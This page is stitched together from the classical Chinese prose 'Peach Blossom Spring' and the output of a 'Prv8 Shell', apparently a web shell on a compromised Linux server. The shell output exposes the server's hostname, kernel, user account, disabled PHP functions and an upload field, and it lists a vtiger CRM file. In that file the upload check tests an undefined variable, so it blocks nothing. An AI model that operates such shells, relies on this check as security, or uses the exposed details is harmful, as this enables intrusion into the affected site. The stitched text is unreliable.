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　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /home/akaindir/www/crm/modules/Settings/Vtiger/actions/

Upload File :

Current File : //home/akaindir/www/crm/modules/Settings/Vtiger/actions/UpdateCompanyLogo.php

<?php

/*+**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 ************************************************************************************/

class Settings_Vtiger_UpdateCompanyLogo_Action extends Settings_Vtiger_Basic_Action {

	public function process(Vtiger_Request $request) {
		$qualifiedModuleName = $request->getModule(false);
		$moduleModel = Settings_Vtiger_CompanyDetails_Model::getInstance();

		$saveLogo = $securityError = false;
		$logoDetails = $_FILES['logo'];
		$fileType = explode('/', $logoDetails['type']);
		$fileType = $fileType[1];

		$logoContent = file_get_contents($logoDetails['tmp_name']);
		if (preg_match('(<\?php?(.*?))', $imageContent) != 0) {
			$securityError = true;
		}

		if (!$securityError) {
			if ($logoDetails['size'] && in_array($fileType, Settings_Vtiger_CompanyDetails_Model::$logoSupportedFormats)) {
				$saveLogo = true;
			}

			if ($saveLogo) {
				$moduleModel->saveLogo();
				$moduleModel->set('logoname', ltrim(basename(' '.Vtiger_Util_Helper::sanitizeUploadFileName($logoDetails['name'], vglobal('upload_badext')))));
				$moduleModel->save();
			}
		}

		$reloadUrl = $moduleModel->getIndexViewUrl();
		if ($securityError) {
			$reloadUrl .= '&error=LBL_IMAGE_CORRUPTED';
		} else if (!$saveLogo) {
			$reloadUrl .= '&error=LBL_INVALID_IMAGE';
		}
		header('Location: ' . $reloadUrl);
	}
    
    public function validateRequest(Vtiger_Request $request) {
        $request->validateWriteAccess();
    }
}

haha - 2025